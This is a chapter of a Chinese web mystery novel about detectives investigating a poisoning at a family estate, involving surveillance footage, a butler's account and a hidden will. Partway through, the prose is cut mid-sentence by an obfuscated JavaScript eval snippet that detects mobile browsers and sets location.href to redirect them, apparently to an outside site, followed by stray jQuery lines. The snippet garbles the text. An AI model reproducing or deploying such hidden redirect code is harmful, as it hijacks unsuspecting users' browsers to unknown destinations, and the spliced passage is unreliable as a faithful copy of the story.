17.第 17 章
作品:《悬案重现》 赵语止的目光从监控摄像头下移,然后缓缓移到李西宸身上。
她的眼神饱含深意。
李西宸大惊,立刻解释:“这里不止我一个人有这里的钥匙!”他像甩烫手山芋一样将原本捏在手中的钥匙扔到桌子上。
“还有谁有?”袁晋立刻追问。
李西宸看他一眼,神色有些纠结,半响后才别别扭扭开口:“其实我这把钥匙是昨天晚上管家给我的,据说这是我堂兄早就向管家交代好的,如果哪天他去世了,我有权任意处理这个书房的东西。”
他说完这话,看到面前两个警察怀疑的目光,急忙为自己解释:“但我昨天晚上拿到钥匙之后就回我自己的房间睡觉了,今天又忙着和赵语止调查案件,根本没空来这里。再说了,我一直以为这三十年来根本没人来这个房间,这里又和三十年前的命案有关系,如果不是你们,我根本不会来这么晦气的地方。”
李西宸接着匆匆忙忙看了眼赵语止。
赵语止明白他的意思,这是需要她帮忙做不在场证明。
她点头:“今天上午李西宸和我一起去调查了命案现场,我们还一起去了警局。不过我没有一直和他待在一起,至于他是否利用别的时间做了什么事,我无法确定。”
没想到她会这么说,李西宸冷笑一声,没接话。
刘亿抬眼看了看天花板角落的监控,又问:“你安装的监控?”
“当然不是。”李西宸一口咬定他根本没进过这个房间。
远山庄园内部没有其他监控,而庄园外部的监控线路通往庄园门口的保安处,在保安处的显示屏中能看到庄园外各个方向的景象,外部无死角的监控也帮助庄园的安保措施之一。
没想到庄园内主楼里还隐藏着一台监控,他们一时间无法确定这台监控是谁安装,而监控的线路又通往何处。
这里会不会就是凶手配出紫杉碱毒药的地方?这台监控会不会凑巧拍下了凶手的样子?
见面前三人都陷入沉思,李西宸心中的想法偷偷冒出土壤。
“我感觉——”他不自在地轻咳一声,顿了顿,先提前提醒一句,“接下来我要做的事是我猜的,万一我猜对了,你们可别以为是我做的。”
“你有怀疑的人?还是怀疑的地方?”袁晋很好奇。
李西宸没有废话,直接带着他们三人离开这间早就废弃的书房,一路走到李庚易的书房门前。
刘亿脑海中顿时冒出一道闪光。
她明白了李西宸的意思,立刻走进李庚易生前使用的书房,再次打开电脑。
刚刚她只顾着看论坛账号,没有彻底搜查电脑中的东西。而赵语止不知道废弃书房中的监控,之前的调查没有在意这件事,也没有察觉电脑里存储的监控视频。
很快,刘亿顺利在这台电脑中找到了那间废弃书房的监控。
四人凑在电脑前,屏住呼吸看里面存储的监控视频。
因为程序设定,这台电脑里只能保存最近三天的监控视频。现在是29号,电脑中恰好还有27号,也就是案发当日一整天废弃书房内的监控视频。
刘亿小心翼翼地点开27号的监控,他们从0点时分倍速往后看,很快看到有人打开这间书房的门走进来。
那时的时间是早上5点27分,天还未彻底亮起,书房拉着窗帘,这人戴着帽子,进入房间后没有开灯,轻车熟路地走到桌旁,接着用钥匙打开柜子,在里面拿出几盒试剂。
试剂都装在瓶子中,瓶身上没有标签。
这人摘下帽子,开始操作桌上的化学仪器,因为他摘下帽子后一直背对着监控,摄像头没能清晰拍到他的脸。
很快,这人手中的动作停下,因为角度问题,监控没有清晰地捕捉到他的全部动作,只看到他最后手中拿着一个东西装进了自己的口袋中。
完成这件事后,他的肩膀很明显松懈下来,以至于转身时不小心碰掉了桌上的帽子。
他下意识回过身捡帽子,就在这一刻,监控很清晰地拍下了那个人的面容和神情。
正是李庚易。
·
袁晋和刘亿很快离开,他们带着废弃书房柜子中的试剂以及桌上化学仪器中剩下的试剂带去警局化验。
赵语止留在庄园中,如同每一个侦探都会在案发现场做的那样四处打探消息。
李西宸称侦探的这一行动为“像猎犬一样在庄园中四处嗅,闻到可疑的东西就立刻扑上去”。
听到这话,赵语止没生气,但找理由把他打发到一边。
她独自在庄园转来转去,碰巧见到庄园的年轻管家郑逸德,她主动上前和他打招呼。
自从前天晚上的命案过后,郑逸德的状态明显变得糟糕,看起来无精打采,眼下一片青黑,一看便知他这两日睡不好觉。
“郑逸德先生,”赵语止很关切地问,“你的脸色看起来很苍白,是不是生病了?”
郑逸德温和笑着,礼貌回答:“感谢赵小姐的关心,我的身体一切都好,只不过这两天有些失眠。”
“这样啊。”赵语止恍然大悟地点点头,接着在他面前很刻意地提起,“不只是你,其实大家的状态都有些差,我看到李西宸似乎还在吃药。”
郑逸德笑了笑,没接这话。
“郑先生你在庄园工作了多久?”赵语止继续很好奇地问,“不知这些年来庄园的变化大不大,庄园最初便是设计成这样的吗?”
郑逸德环顾四周,声音低沉:“我在这里工作了五年,这么长时间转眼间过去,这五年来庄园中人来人往,但庄园本身没有太大变化。”
他回答完这话,又看向赵语止:“赵小姐似乎对庄园的景色很感兴趣。”
“那是自然,我第一次走进这处庄园就被这里的美景吸引。”赵语止笑着,话音一转,“但最让我感兴趣的不是庄园中的景色,而是庄园中的人。”
她的声音低下来,仿佛在与郑逸德说悄悄话:“郑先生或许听说了,我如今受托调查前天晚上的案件,这两日我一直在庄园中搜集证据,可惜一直没有什么发现。”
她皱着眉,一副很苦恼的模样。
郑逸德也低声轻声安慰:“赵小姐不必苦恼,若是我有什么能帮得上的,赵小姐尽管开口便是。”
赵语止轻轻抬头看他:“当天晚上众人在宴会厅中的所见所闻,警方都已经询问得很清楚,我也没有什么别的要问。不过,郑逸德先生既然在庄园中做了五年的管家,不知道你是否清楚,李庚易先生的身体平时多病吗?”
郑逸德沉思片刻:“据我所知,李先生的身体状况很好,他会定期在首都市禾亦医院体检,体检报告一直显示良好,他本不该这么早离世。”
最后一句话的情绪中多了几分惋惜之意。
“他没有家族遗传病?”赵语止有些疑惑。
这话问得着实奇怪,郑逸德不由得失笑:“不知赵小姐是在哪里听说了这种错误消息,但我可以向你保证,李庚易先生并未患有家族遗传病,更没有家族糖尿病。”
他最后一句话意有所指,显然之前有人找他打听过李庚易是否患有糖尿病的可能性。
赵语止点点头,向他道谢,之后轻声感叹一句:“不过李西宸好像没能像他的堂兄那么幸运。”
李西宸的身体看上去不太健康。
“这是幸运吗?”郑逸德愣了下,随即反应过来,脸上又表现出一副惋惜和悲伤的态度,“说不上是幸运还是不幸。李西宸确实身体不太好,很容易生病,据说他出生后直接进了急救室。都说久病成医,我虽然不常生病,但因为是远山庄园的管家,不知何时也开始也熟悉了各种病症。”
郑逸德很清楚远山家族众人的身体状况。
“比如阿琼的身体没什么大问题,但她总是太过忧虑,沉重的心绪影响了她的健康。远山庄园中生活的人总是这样心心思重重,如李庚易先生那般性格豁达开朗的人实在太少。”他继续说道,“当年李庚易先生之所以那么年轻就能够成为家主,除了他行事果断狠绝之外,他健康的身体状况也有一定作用。李庚易先生年幼时在国外长大,听说他自幼康健,一直很强壮很高大,一眼望过去就在家族中很突出。老家主将远山家族交托给这样的人,想必是很放心他。”
赵语止听出他的言外之意:“你是说当年李功彻留下了遗嘱,明确表示将家产留给李庚易?”
她记得苏茗在小说中暗示了此事,暗指李功彻的遗嘱是凶手伪造而成。
难道小说这里的情节和现实的情况并不一致?
郑逸德目光温和:“当年的事我也不太清楚,我也只是听说而已。”
他说了这句话,别的不肯再说,赵语止只能再打听出李庚易平时体检的那家医院。
根据郑逸德的说法,远山家族没有专门的家族医生,如果李庚易或者李西宸需要就医,他们会选择首都市的一家名为“禾亦”的私立医院。那里的院长会亲自接待远山家族的成员。
说完这些话后,郑逸德向赵语止告别,慢慢走远。
赵语止留在原地,盯着他的背影,收起脸上的笑容。
她心中很清楚,李西宸莫名其妙来她面前吃药,就是想引得她查他的身体状况。
而郑逸德能如此轻易地将远山家族成员的身体状况告诉她,应该也是受到了李西宸的指示。
远山家族隐藏了太多的秘密,太过不为人知的故事在这里等待被人发现。
至少她现在知道了与远山家族关系密切的医生。
她对首都市的医院并不熟悉,但相信警局有他们调查的方式。
·
“走吧,去禾亦医院。”方沛凝开着车,汽车驶上道路,融入车流。
刘亿坐在副驾驶,心中仍有疑虑:“赵语止这个人可信吗?”
她见过赵语止之后,总觉得此人想法太多,让人难以看透,也让人无法完全相信她。
方沛凝也不认为赵语止完全可信,但她认为赵语止提供的这条消息可用:“至少这条消息和我们从别的途径得来的结果一致。”
她带着刘亿前往禾亦医院,打算从院长入手调查李庚易的身体状况到底如何。
刘亿听了方沛凝的话,点头,一想到今日在远山庄园的所见所闻,她一向敏锐的目光难得笼罩上不知所措的迷茫。
袁晋没有跟着她们前去,仍在等待化验结果。
不知道他们在废弃书房的发现能否揭露这场命案的真相。
“希望化验结果快点出来。”刘亿盯着窗外的车流,轻声道。
“林队,”警局内,袁晋敲门走进办公室,“你找我?”
他已经将在远山庄园那间废弃书房内发现的试剂带来化验,但仍在等待结果,心中正在焦急时收到了林曜的命令,让他尽快来办公室。
林曜正在浏览电脑上的信息,听到脚步声,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786645|155745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抬头看了他一眼,示意他仔细看看桌上摊开的那份文件。
这份文件的第一页是阿琼的身份信息,警方已经将她的信息调查得很清楚。
身份信息显示她在三十年前被李庚易的母亲郭霜莉从孤儿院带出来,收养做养女。二十年前,郭霜莉病故,十七岁的阿琼仍旧留在远山家族,继续在远山庄园生活。
“这有什么问题?”袁晋看完这张身份信息,很不解。
他话说出口,一看林曜的眼神,立刻意识到自己这个问题太傻。
林曜特意花时间让他阅读这份文件,说明这份文件一定很关键。
袁晋闭上嘴,继续往后翻。
看到下一页的内容,他不由得瞪大双眼。
“这是——”袁晋倒吸一口气,不敢相信自己的眼睛。
“这是李庚易的遗嘱?”他惊讶到变音,“远山家族的人不是说在葬礼之前不能公布李庚易的遗嘱吗?林队您这是从哪里弄来的?是真实的吗?”
因为太过震惊,袁晋不管林曜的脸色如何,问了一连串的问题。
林曜终于舍得开口解释:“这不是李庚易的完整遗嘱。”
袁晋重新看了遍文件上的内容。
这次他才看懂,这应该是李庚易生前单独列出的一份遗嘱。
里面没有分配远山家族的遗产,而是表明在他葬礼之后,阿琼将获得远山庄园的支配权,她将有权处理远山庄园内的东西,其中包括远山庄园中的所有区域。
袁晋一下子想到庄园中的那个废弃书房。
按照这份遗嘱,李庚易没有将那个废弃书房的处理权给李西宸,而是给了阿琼。
可李西宸那里分明有废弃书房的钥匙。
难道李西宸说谎了?他为什么要说谎?
袁晋心中浮现许多猜测。
“你有什么想法?”林曜问他。
“远山庄园对这个家族来说应该是很重要的地方,没想到李庚易竟然会将庄园直接给了阿琼,”袁晋吞吞吐吐,害怕又要被林曜批一顿,不知道要不要将自己胡思乱想的那些猜测说出来,正在纠结时,他的脑海中灵光一闪。
“不对啊,三十年前郭霜莉为什么要突然去孤儿院收养阿琼?收养是发生在命案前还是命案后?”
袁晋的声音激动起来,他察觉到自己隐隐抓住了问题所在。
“果然这件事还是和三十年前的命案脱不了关系——”他正说到激动处,忽然听到背后响起敲门声。
袁晋愣住,止住声音,有些疑惑地转身望过去。
办公室的门打开,一个不常在警局见到的人走进来。
“宋立叶?”林曜看到来人,目光中多了几分不耐烦,“你怎么来了?”
宋立叶扶了扶眼镜,没回答林曜的问题,而是温和一笑。
袁晋拘谨问好,赶紧溜走。
他知道宋立叶和林曜两人矛盾很深,不对,林曜跟谁都有矛盾。
袁晋赶紧离开这里免得惹祸上身。
他回到自己的办公桌前,左思右想刚刚看到的那份文件。
“还是得查查三十年前的事,起码得明确命案和领养阿琼这两件事发生的时间到底哪个在前。”
他自言自语一句。
等到自己反应过来时,他已经走到了档案室门口。
袁晋轻咳一声,像模像样地敲敲门,没听到答复,他直接扭动门把手走进去。
里面的人坐在桌前,也没抬头,直接说让他去数据库里找电子资料。
“我想找更早的卷宗。”袁晋委婉地说。
“多早的?”
袁晋艰难回答:“三十年前。”
对方抬头看他,眨眨眼,愣了半响,这才“哦”一声:“那你得等徐警官回来。”
档案室离了他就不能转了?哪有这样的事。
可是档案室很久之前发生过意外火灾,袁晋单凭自己根本找不出早些年的文件。
袁晋没办法,只能唉声叹气地回到自己的位置坐下,可又觉得不甘心,不想就此放过这个线索。
他环顾四周,见周围没人在,偷偷摸摸拿出手机拨出一通电话。
“徐哥,”对面接通,袁晋立刻关切地问,“你身体怎么样了?”
“还在养伤呢,有事?”对面响起一个女声,声音有些冷。
“原来是盛姐,”袁晋乐呵呵地笑,“徐哥去哪儿了?麻烦你让他接下电话。”
“他在吃饭——”
对面女声顿住,袁晋耐心等了几秒,果然听到熟悉的声音在电话中响起。
“怎么了?又找不到文件了?”一道稳重的声音响起。
袁晋刻意忽略掉对方话中的“又”字,笑着:“我想看看一个案子的卷宗,但时间隔得太久,不知道档案室里还有没有。”
“哪个案子?”对方问。
“就是三十年前李功彻被杀案,最近我查的一个案子很有可能和李功彻的案子有关系,就怕这么久之前的案子,档案室又发生过火灾,卷宗恐怕已经找不到了。”袁晋越说越苦恼。
“这个能找到。”徐警官很果断地说,“之前方沛凝找档案室过这个案子的卷宗,我记得很清楚。”
听到这话,袁晋心中一惊。
他努力保持声音镇静:“什么时候的事?”
“还是我受伤之前的事,”徐警官沉思片刻,又说,“大概是今年四月份。”